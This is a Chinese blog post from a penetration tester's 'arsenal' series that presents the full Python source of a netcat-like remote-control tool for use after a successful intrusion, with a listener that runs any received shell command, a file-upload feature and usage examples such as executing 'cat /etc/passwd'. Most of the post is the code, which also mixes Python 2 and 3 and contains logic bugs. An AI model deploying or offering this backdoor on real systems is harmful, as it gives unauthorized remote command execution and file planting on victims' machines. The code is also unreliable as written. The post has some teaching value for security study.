#我的武器库系列#之远控核心实现

       相信多数渗透人员在初级阶段更多通过已有工具(metasploit、nmap、nessus等等)实现对目标系统渗透,这可以让我们注意力更多的放在如何去渗透目标,但工具不能解决所有问题,针对于特殊情况,我们需要编写代码,构造具有针对性脚本进行渗透。

       #我的武器库系列#其目的是自我学习过程中,对已有知识重新梳理,新知识加强固化。系列将不定时更新,语言以python为主,内容包括:远控、代理、抓包分析(基于python、c的两种实现方式)、arp投毒、arp欺骗等等。

   一、远控代码实现原理

      远控的重要性不言而喻,渗透人员渗透成功后,可以通过远控进行一系列操作,本文远控代码分为,客户端、服务端、命令执行等三个核心方法。1.首先启动服务端绑定IP与端口;2.通过客户端连接服务端;3.客户端向服务端发送shell指令。

   二、远控代码

#!/usr/bin/python3.6
#coding:utf-8
import sys;
import socket;
import getopt; #专门用来处理命令行参数,如:netcat.py -t 192.168.1.10 -p 5555 -l -c
import threading;
import subprocess;#开启子进程
#全局变量定义
listen = False; #监听
command = False; #命令
upload = False; #上传
excute = ""; #执行
target = ""; #目标
upload_destination = ""; #上传路径
port = 0;

#帮助
def usage():
    print("*************************************");
    print("NET 工具      ");
    print("使用 netcat.py -t target_host -p port");
    print("-l --listien [host]:[port] 连接");
    print("-e --execute=file_to_run 执行的文件");
    print("-c --command 命令");
    print("-u --upload=destination 上传路径");
    print("");
    print("");
    print("例子");
    print("netcat.py -t 192.168.1.10 -p 5555 -l -c");
    print("netcat.py -t 192.168.1.10 -p 5555 -l -u=c:\\test.ext");
    print("netcat.py -t 192.168.1.10 -p 5555 -l -e=\"cat /etc/passwd\"");
    print("echo 'ABCDE' | ./netcat.py -t 192.168.1.10 -p 123");
    print("*************************************");
    sys.exit(0);
#客户端
def client_sender(buffer):
    print(buffer+"<----");
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM);#IPV4,TCP
    try:
        client.connect((target,int(port))); #连接
        if len(buffer):
            client.send(buffer);
        while True:
            recv_len = 1;
            response = "";
            while recv_len:
                data = client.recv(4096); #读取数据
                recv_len = len(data); #计算长度
                response += data;
                if recv_len < 4096:
                    break;
            print(response);
            #等待更多的输入
            buffer = raw_input("<NETCAT:#>");
            print("客户端发送数据::"+buffer);
            buffer += "\n";
            client.send(buffer);
    except Exception as e:
        print ("异常退出!");
        print(e);
        client.close();

#执行命令
def run_command(command):
    #换行, 删除 command 字符串末尾的指定字符(默认为空格).
    command = command.rstrip();
    try:
        #返回的是子程序的执行结果
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True);
        if len(output) == 0:
            output = "success";
    except:
        output = "错误的指令\r\n";
    return output;
#服务端处理方法
def client_handler(client_socket):
    global upload;
    global excute;
    global command;
    #检测要上传的文件
    if len(upload_destination):
        #读取文件字符
        file_buffer = "";
        while True:
            data = client_socket.recv(1024); #服务端获取内容
            if not data:
                break;
            else:
                file_buffer += data;
        try:
            #打开文件,将file_buffer内容写到文件中,关闭连接
            file_descriptor = open (upload_destination,"wb");
            file_descriptor.write(file_buffer);
            file_descriptor.close();
            client_socket.send("文件已上传");
        except:
            client_socket.send("写文件失败");
    if len (excute):
        output = run_command(excute);
        client_socket.send(output);
    if command:
        client_socket.send("连接成功..");
        while True:
            cmd_buffer = "";
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024);#获取指令
                response = run_command(cmd_buffer); #执行指令
                client_socket.send(response);

#服务端
def server_loop():
    global target;
    if not len(target):
        target = "0.0.0.0"; #如果没有,监听所有接口
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM);#IPV4,TCP
    server.bind((target,int(port)));#绑定
    server.listen(5); #最大连接数
    while True:
        client_socket,addr = server.accept(); #监听连接
        #创建进程用来处理新的客户端信息,调用client_handler方法
        client_thread = threading.Thread(target=client_handler,args=(client_socket,));
        client_thread.start();

#主方法
def main():
    global listen;
    global port;
    global excute;
    global command;
    global upload_destination;
    global target;
    #获取输入参数,如果没有则进行提示
    if not len(sys.argv[1:]):
        usage();
    #读取命令行内容
    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","excute","target","port","command","upload"]);
        #输入示例:python netcat.py -t 192.168.1.102 -p 5555 -e="cat /etc/passwd";输出效果:('-t', '192.168.1.102'), ('-p', '5555'), ('-e', '=cat /etc/passwd')]
    except getopt.GetoptError as err:
        print(str(err));
        usage();
    for o,a in opts:
        if o in ("-h","--help"):
            usage();
        elif o in ("-l","--listen"):
            listen = True;
        elif o in ("-e","--excute"):
            excute = True;
        elif o in ("-c","--commandshell"):
            command = True; 
        elif o in ("-u","--upload"):
            upload_destination = a; 
        elif o in ("-t","--target"):
            target = a; 
        elif o in ("-p","--port"):
            port = a;
        else:
           print("请输入正确指令");
           usage();
    if not listen and len(target) and port > 0:
        #ctrl+d是结束输入,read并不会像input那样遇到回车就返回读取的数据,它会缓存或者 等到ctrl+d再读取数据
        buffer = sys.stdin.read();
        client_sender(buffer);
    if listen:
        server_loop();
main();

服务端启动:python netcat.py -l -t 127.0.0.1 -p 9998 -c

客户端启动:python netcat.py  -t 127.0.0.1  -p 9998

三、说点其它

       多数渗透人员很少对自己编写的工具考虑细节问题,不会过多考虑编写代码、工具的鲁棒性。上文以了解核心实现原理为思想,所以存在很多细节及不当之处需要完善。

发布了35 篇原创文章 · 获赞 3 · 访问量 2923

猜你喜欢

转载自blog.csdn.net/a59a59/article/details/94147137